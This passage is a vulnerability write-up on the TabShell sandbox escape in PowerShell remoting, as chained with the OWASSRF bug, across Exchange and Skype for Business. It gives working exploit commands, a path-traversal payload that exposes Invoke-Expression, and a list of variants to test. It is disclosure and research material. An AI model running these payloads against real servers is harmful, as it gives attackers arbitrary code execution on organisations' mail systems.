TabExpansion itself could not be exploited directly, but it can be made to call Get-Command with an arbitrary -Name parameter. Get-Command is the cmdlet that looks up commands by name. Calling it directly is possible because it is a public cmdlet, but the internal call is more powerful than the direct one. The reason is that when one cmdlet calls another internally, the call carries a different origin marker, and the sandbox treats internal calls differently from user calls.

The PoC:

PowerShell
TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test"

Line by line:

  1. TabExpansion is called with -line set to ;NetTCPIP\Test-NetConnection. The leading semicolon is a command separator in PowerShell, so the line looks like "an empty command, then a command called NetTCPIP\Test-NetConnection". The backslash separates a module name from a command name.
  2. -lastWord "-test" is the partial word being completed.

This parses the line parameter and calls Get-Command NetTCPIP\Test-NetConnection. The researcher did not type Get-Command; TabExpansion did it on their behalf, from inside the trusted code.

Stage 4: use Get-Command to load an arbitrary module with Import-Module

Since PowerShell 3.0, Get-Command has an auto-load module feature. If you ask for a command that is not loaded yet, PowerShell tries to find the module that contains it and loads it automatically. The implementation lives in the System.Management.Automation.CommandDiscovery class, in the LookupCommandInfo method. TryNormalSearch is tried first, and if the command info is not found (null), TryModuleAutoLoading is called. In TryModuleAutoLoading, the module name (the text2 variable) is parsed from the command name, and the module is loaded with AutoloadSpecifiedModule.

The interesting part is that Import-Module is private, but it is called internally from Get-Command, so the CommandOrigin is internal and the sandbox does not restrict it. Import-Module is the cmdlet that loads modules. It is hidden from the user, but the internal caller can still use it.

To load the NetTCPIP module:

PowerShell
Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test" }

This is the same payload as stage 3, now run through Invoke-Command in the remote session. It leads to the cmdlet Import-Module -Name NetTCPIP being invoked. The module NetTCPIP is a standard Windows module of networking cmdlets, used here as a harmless example of a module that is not normally loaded in the restricted session.

Stage 5: use path traversal to load a module from a DLL and import a public cmdlet into the current session

At stage 4, an arbitrary module can be loaded by name from PSModulePath (C:\Program Files\WindowsPowerShell\Modules, C:\Windows\system32\WindowsPowerShell\v1.0\Modules). PSModulePath is an environment variable listing the folders where PowerShell looks for modules. Digging into Import-Module showed that path traversal can be used to load a module from an arbitrary DLL on the file system.

The payload:

PowerShell
Invoke-Command -Session $Session -ScriptBlock {
    TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test"
}

Line by line:

  1. Invoke-Command -Session $Session -ScriptBlock { ... } runs the block in the remote session, as before.
  2. Inside the block, TabExpansion is called with a -line value that starts with ; and then a long path. The ../../../../ at the start is path traversal: each .. means "go up one folder", so four of them climb four levels up from wherever the module lookup starts.
  3. The rest of the path points into the Windows folder, through Microsoft.NET/assembly/GAC_MSIL/..., to a specific DLL called Microsoft.PowerShell.Commands.Utility.dll. GAC stands for Global Assembly Cache, a central store of shared .NET libraries on Windows.
  4. After the DLL name comes \Invoke-Expression, which is the command name Get-Command will try to resolve. The module name is everything before the backslash, and it ends in .dll.
  5. -lastWord "-test" is again the partial word for completion.

Import-Module supports several kinds of module loading: module manifest files (.psd1), PowerShell script files (.ps1) and managed DLLs with cmdlets (.dll). A manifest is a small file that describes a module. By using a module name that ends in .dll, Import-Module goes into the LoadBinaryModule method, loads the DLL and imports all cmdlets in that module into the current session.

The problem is that all cmdlets are imported with public visibility, so they can be invoked afterwards. The payload above loads Microsoft.PowerShell.Commands.Utility.dll, which contains the Invoke-Expression cmdlet. In other words, the sandbox was supposed to hide Invoke-Expression; the DLL import puts it back in plain sight.

Calling the imported cmdlet:

PowerShell
Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" }

Line by line:

  1. Invoke-Command $session { ... } runs the block in the remote session. Here the session is passed positionally, without -Session.
  2. Microsoft.PowerShell.Commands.Utility\Invoke-Expression is the fully qualified name of the cmdlet: module name, backslash, cmdlet name. This is how you call a cmdlet that was imported from a specific module.
  3. The argument "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" is a small PowerShell expression that asks Windows for the name of the account the current process runs as. It is a harmless test that proves code execution: if it returns a name, arbitrary code is running.

From that point, Invoke-Expression can be used to run any PowerShell script without restriction. The sandbox is effectively gone.

Demo

The exploit works against Exchange on-premises, Exchange Online and Skype for Business Server:

  • Exchange on-premises needs the OWASSRF bug to reach the PowerShell remoting endpoint.
  • Exchange Online exposes the PowerShell remoting endpoint publicly.
  • Skype for Business Server exposes the PowerShell remoting endpoint publicly, but by default at least HelpDesk group privilege is needed.

There is no subscription for Skype for Business Online, which is end of life. Microsoft Teams appears to use the same backend services as Skype for Business, but its PowerShell remoting endpoint is deprecated and may be removed. Deprecated means it is still there but no longer recommended and scheduled to go away.

The video below is the demo for Exchange on-premises with a normal user:

Or watch on YouTube
YouTube video player From the original on blog.viettelcybersecurity.com

Root cause

OWASSRF is a path handling mistake. The proxy builds the backend URL by taking the client request path and removing the explicit logon address from it with a plain string Replace. Because the explicit logon address comes from the X-OWA-ExplicitLogonUser header, an attacker can choose a value that matches a prefix of the request path, and the removal turns a request to /owa/... into a request to an arbitrary backend path. The frontend then forwards the request with the victim's own authentication, so the backend sees an authenticated request from a normal user. The researcher's view is that Microsoft did not fix the root cause of the SSRF because SSRF alone does not produce real impact.

TabShell is a chain of design weaknesses in the remoting sandbox:

  1. TabExpansion is enabled in the initial session state when the client advertises WSManStackVersion below 3.0, which puts a public function into a session that is supposed to be locked down.
  2. TabExpansion calls Get-Command internally with an attacker-controlled name, and the internal call has a different CommandOrigin than a direct call.
  3. Get-Command auto-loads modules, and the internal Import-Module call is not restricted by the sandbox because its origin is internal.
  4. Import-Module accepts a module name ending in .dll and resolves it through the file system, so path traversal reaches any DLL on disk. Binary modules are imported with public visibility, which puts powerful cmdlets such as Invoke-Expression into the session.

A useful comparison is a building where each door is guarded, but the guards trust anyone wearing a staff badge. If you can borrow a staff badge at each door, you walk through the whole building.

Impact

OWASSRF gives an authenticated normal user SSRF to backend endpoints of the Exchange frontend, with the request carrying that user's identity. In the researcher's setup this reached /mapi/nspi and /powershell. Reaching /powershell is what makes the chain useful, because the remoting endpoint is normally not reachable from a remote host.

TabShell turns the restricted remoting session into arbitrary PowerShell execution. On Exchange on-premises the two bugs are chained: OWASSRF to reach the endpoint, TabShell to escape the sandbox. On Exchange Online the remoting endpoint is public, so TabShell alone applies. On Skype for Business Server the endpoint is also public, but by default the attacker needs at least HelpDesk group membership.

Fix

TabExpansion was removed in a PowerShell commit, which kills the first stage of the chain. A commit is a recorded change to a codebase. The researcher notes that other issues appear to remain and could be abused in another way, but is not sure about that.

With .NET Framework the fix is a little different. That kind of fix can make an attacker able to put a backdoor on the server with a registry key to enable the TabShell exploit. A registry key is a named setting in the Windows registry, the central configuration store of the operating system. A backdoor is a hidden way back in that survives the original fix.

Variants to test

These are ideas for further research, written as things to try and what a positive result would look like.

  1. Other explicit logon headers and paths. Try the same X-OWA-ExplicitLogonUser trick with other /owa/... paths that the proxy forwards, and with other virtual directories behind the same frontend. A positive result is a backend response that identifies the requested virtual directory (for example the MAPI/HTTP connectivity page) rather than an OWA error.
  2. Other WSManStackVersion values. Create a remoting session with ApplicationArguments carrying a PSversionTable whose WSManStackVersion is below 3.0, then call TabExpansion in the session. A positive result is the function being present and returning completions.
  3. Other internal callers of Get-Command. Look for other public functions in a restricted runspace that call Get-Command with a user-controlled name. A positive result is a module being auto-loaded from a name you supplied.
  4. Other binary modules on disk. Use the path traversal form with other DLLs under the GAC or elsewhere on the file system that contain useful cmdlets. A positive result is the cmdlets from that DLL being callable in the session afterwards.
  5. Other remoting front ends. Apply the TabShell stages to any product that exposes PowerShell remoting with a restricted runspace, such as Skype for Business Server with a HelpDesk-level account. A positive result is Invoke-Expression (or another unrestricted cmdlet) becoming callable in the sandboxed session.

Glossary

  • API: a defined way for one program to ask another program for something, like a service counter with fixed rules.
  • Authorisation: what an authenticated user is allowed to do.
  • Autodiscover: an Exchange feature that lets mail clients find the right server settings automatically.
  • Backdoor: a hidden way into a system that survives normal fixes.
  • Backend: the part of a system behind the frontend that does the real work.
  • Basic authentication: a login method that sends the username and password with each request, safe only when the connection is encrypted.
  • Binary module: a PowerShell module shipped as a compiled DLL rather than a script.
  • Class: a blueprint in code that groups data and actions.
  • Client: the program that asks a server for something, such as a browser.
  • Cmdlet: a built-in PowerShell command, named Verb-Noun.
  • Command injection: tricking a program into running commands supplied as data.
  • CommandOrigin: an internal marker saying where a command call came from, such as the user or another cmdlet.
  • Commit: a recorded change to a codebase.
  • Cookie: a small piece of data a server gives a browser and the browser sends back, used to recognise the session.
  • CVE: a public identifier for a known vulnerability.
  • DLL: a Windows file containing compiled code, often a library of functions.
  • Deprecated: still present but no longer recommended and scheduled to be removed.
  • Endpoint: a specific address on a server that accepts requests.
  • Environment variable: a named value the operating system keeps for programs to read, such as a list of folders.
  • Exchange: Microsoft's mail server software.
  • Exchange Online: the cloud-hosted version of Exchange.
  • Explicit sign-on: a mode where the user's address is part of the URL.
  • Frontend: the part of a system that faces users and passes requests to the backend.
  • GAC (Global Assembly Cache): a central Windows store of shared .NET libraries.
  • Group: a collection of accounts that share permissions.
  • Header: a labelled line in an HTTP request or response carrying metadata.
  • HelpDesk group: a support role in Skype for Business with limited administrative rights.
  • HTTP request: the message a client sends to a server to ask for something.
  • HTTPS: HTTP encrypted with TLS so the traffic cannot be read on the wire.
  • Import-Module: the PowerShell cmdlet that loads a module.
  • Invoke-Command: the PowerShell cmdlet that runs a block of code, locally or in a remote session.
  • Invoke-Expression: a PowerShell cmdlet that runs whatever text it is given, so it is powerful and dangerous.
  • Language mode: a PowerShell setting controlling how much of the language is available; NoLanguage allows only simple cmdlets.
  • Manifest: a small file describing a module.
  • Method: a named action inside a class.
  • MSRC: Microsoft Security Response Center, the team that handles vulnerability reports.
  • On-premises: installed and run on the organisation's own machines rather than in the cloud.
  • OWA (Outlook Web App): the webmail interface of Exchange.
  • Path traversal: using .. to climb out of an intended folder or location.
  • PowerShell: Microsoft's command-line tool for running commands and scripts.
  • Private (cmdlet): hidden from direct use by the user.
  • Proxy: a component that forwards requests on behalf of a client.
  • PSModulePath: an environment variable listing the folders where PowerShell looks for modules.
  • Public (cmdlet): visible and callable from the session.
  • Pwn2own: a hacking contest where researchers demonstrate attacks on real products.
  • Registry key: a named setting in the Windows registry, the central configuration store.
  • Remoting: running commands on another machine over the network.
  • Sandbox: a restricted environment that limits what code can do.
  • Server: a computer that provides a service to clients.
  • Session: a logged-in connection between a client and a server that keeps state.
  • SID: a security identifier, a unique number Windows uses for accounts.
  • Skype for Business Server: Microsoft's on-premises messaging and meeting server.
  • SSRF (Server-Side Request Forgery): a bug where an attacker makes the server send a request to an address of their choosing.
  • TabExpansion: the PowerShell function behind tab completion, which suggests command names.
  • Virtual directory: a named address inside a web server that maps to a service or folder.
  • Whitelist: an explicit list of allowed things; everything else is refused.
  • WSManStackVersion: a version number the client claims for the management protocol used by PowerShell remoting.

More from Microsoft

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.